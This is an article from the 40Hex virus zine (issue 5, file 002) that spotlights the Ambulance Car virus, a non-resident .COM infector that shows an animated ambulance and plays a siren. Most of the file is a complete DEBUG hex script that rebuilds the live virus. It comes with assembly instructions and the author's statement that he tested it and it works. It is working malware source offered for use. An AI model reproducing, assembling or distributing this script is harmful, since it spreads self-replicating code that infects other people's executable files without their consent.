Copy Link
Add to Bookmark
Report
40Hex Issue 05 File 002
40Hex Number 5 Volume 2 Issue 1 File 002
Virus Spotlight:
The Ambulance Car Virus
Here's a debug script of the Ambulance Car virus. I've tested the virus
created from this, and it works. Ambulance Car is a parasitic, non-resident
.COM infector. It spreads rapidly, and has one of the neatest graphic
displays that I've seen yet in a virus. When it activates, a little ambulance
drives across the bottom of the screen, from left to right, and a siren is
heard over the PC speaker. Other than that, all this thing does is replicate.
To create the virus from the debug script, cut between the dotted lines and
type:
DEBUG < REDX.TXT > NUL
-------------------------------------------------------------------------------
n redx.com
e 0100 EB 37 90 48 65 6C 6C 6F 20 2D 20 43 6F 70 79 72
e 0110 69 67 68 74 20 53 20 26 20 53 20 45 6E 74 65 72
e 0120 70 72 69 73 65 73 2C 20 31 39 38 38 0A 0D 24 1A
e 0130 B4 09 BA 03 01 CD 21 CD 20 E8 01 00 01 5E 81 EE
e 0140 03 01 E8 1A 00 E8 17 00 E8 D2 01 8D 9C 19 04 BF
e 0150 00 01 8A 07 88 05 8B 47 01 89 45 01 FF E7 C3 E8
e 0160 DE 00 8A 84 28 04 0A C0 74 F4 8D 9C 0F 04 FF 07
e 0170 8D 94 28 04 B8 02 3D CD 21 89 84 17 04 8B 9C 17
e 0180 04 B9 03 00 8D 94 14 04 B4 3F CD 21 8A 84 14 04
e 0190 3C E9 75 3F 8B 94 15 04 8B 9C 17 04 83 C2 03 33
e 01A0 C9 B8 00 42 CD 21 8B 9C 17 04 B9 06 00 8D 94 1C
e 01B0 04 B4 3F CD 21 8B 84 1C 04 8B 9C 1E 04 8B 8C 20
e 01C0 04 3B 84 00 01 75 0C 3B 9C 02 01 75 06 3B 8C 04
e 01D0 01 74 64 8B 9C 17 04 33 C9 33 D2 B8 02 42 CD 21
e 01E0 2D 03 00 89 84 12 04 8B 9C 17 04 B8 00 57 CD 21
e 01F0 51 52 8B 9C 17 04 B9 19 03 8D 94 00 01 B4 40 CD
e 0200 21 8B 9C 17 04 B9 03 00 8D 94 14 04 B4 40 CD 21
e 0210 8B 9C 17 04 33 C9 33 D2 B8 00 42 CD 21 8B 9C 17
e 0220 04 B9 03 00 8D 94 11 04 B4 40 CD 21 5A 59 8B 9C
e 0230 17 04 B8 01 57 CD 21 8B 9C 17 04 B4 3E CD 21 C3
e 0240 A1 2C 00 8E C0 1E B8 40 00 8E D8 8B 2E 6C 00 1F
e 0250 F7 C5 03 00 74 17 33 DB 26 8B 07 3D 50 41 75 08
e 0260 26 81 7F 02 54 48 74 0B 43 0B C0 75 EB 8D BC 28
e 0270 04 EB 32 83 C3 05 8D BC 28 04 26 8A 07 43 0A C0
e 0280 74 19 3C 3B 74 05 88 05 47 EB EF 26 80 3F 00 74
e 0290 0A D1 ED D1 ED F7 C5 03 00 75 DB 80 7D FF 5C 74
e 02A0 04 C6 05 5C 47 1E 07 89 BC 22 04 B8 2A 2E AB B8
e 02B0 43 4F AB B8 4D 00 AB 06 B4 2F CD 21 8C C0 89 84
e 02C0 24 04 89 9C 26 04 07 8D 94 78 04 B4 1A CD 21 8D
e 02D0 94 28 04 33 C9 B4 4E CD 21 73 08 33 C0 89 84 28
e 02E0 04 EB 29 1E B8 40 00 8E D8 D1 CD 33 2E 6C 00 1F
e 02F0 F7 C5 07 00 74 06 B4 4F CD 21 73 E7 8B BC 22 04
e 0300 8D 9C 96 04 8A 07 43 AA 0A C0 75 F8 8B 9C 26 04
e 0310 8B 84 24 04 1E 8E D8 B4 1A CD 21 1F C3 06 8B 84
e 0320 0F 04 25 07 00 3D 06 00 75 15 B8 40 00 8E C0 26
e 0330 A1 0C 00 0B C0 75 08 26 FF 06 0C 00 E8 02 00 07
e 0340 C3 1E BF 00 B8 B8 40 00 8E D8 A0 49 00 3C 07 75
e 0350 03 BF 00 B0 8E C7 1F BD F0 FF BA 00 00 B9 10 00
e 0360 E8 3F 00 42 E2 FA E8 16 00 E8 7B 00 45 83 FD 50
e 0370 75 E8 E8 03 00 1E 07 C3 E4 61 24 FC E6 61 C3 BA
e 0380 D0 07 F7 C5 04 00 74 03 BA B8 0B E4 61 A8 03 75
e 0390 08 0C 03 E6 61 B0 B6 E6 43 8B C2 E6 42 8A C4 E6
e 03A0 42 C3 51 52 8D 9C BF 03 03 DA 03 D5 0B D2 78 34
e 03B0 83 FA 50 73 2F BF 80 0C 03 FA 03 FA 2B D5 B9 05
e 03C0 00 B4 07 8A 07 2C 07 02 C1 2A C2 83 F9 05 75 0A
e 03D0 B4 0F F7 C5 03 00 74 02 B0 20 AB 83 C3 10 81 C7
e 03E0 9E 00 E2 DD 5A 59 C3 1E B8 40 00 8E D8 A1 6C 00
e 03F0 3B 06 6C 00 74 FA 1F C3 22 23 24 25 26 27 28 29
e 0400 66 87 3B 2D 2E 2F 30 31 23 E0 E1 E2 E3 E4 E5 E6
e 0410 E7 E7 E9 EA EB 30 31 32 24 E0 E1 E2 E3 E8 2A EA
e 0420 E7 E8 E9 2F 30 6D 32 33 25 E1 E2 E3 E4 E5 E7 E7
e 0430 E8 E9 EA EB EC ED EE EF 26 E6 E7 29 59 5A 2C EC
e 0440 ED EE EF F0 32 62 34 F4 09 00 E9 36 00 EB 2E 90
e 0450 05 00 EB 2E 90
rcx
0355
w
q
-------------------------------------------------------------------------------
DA
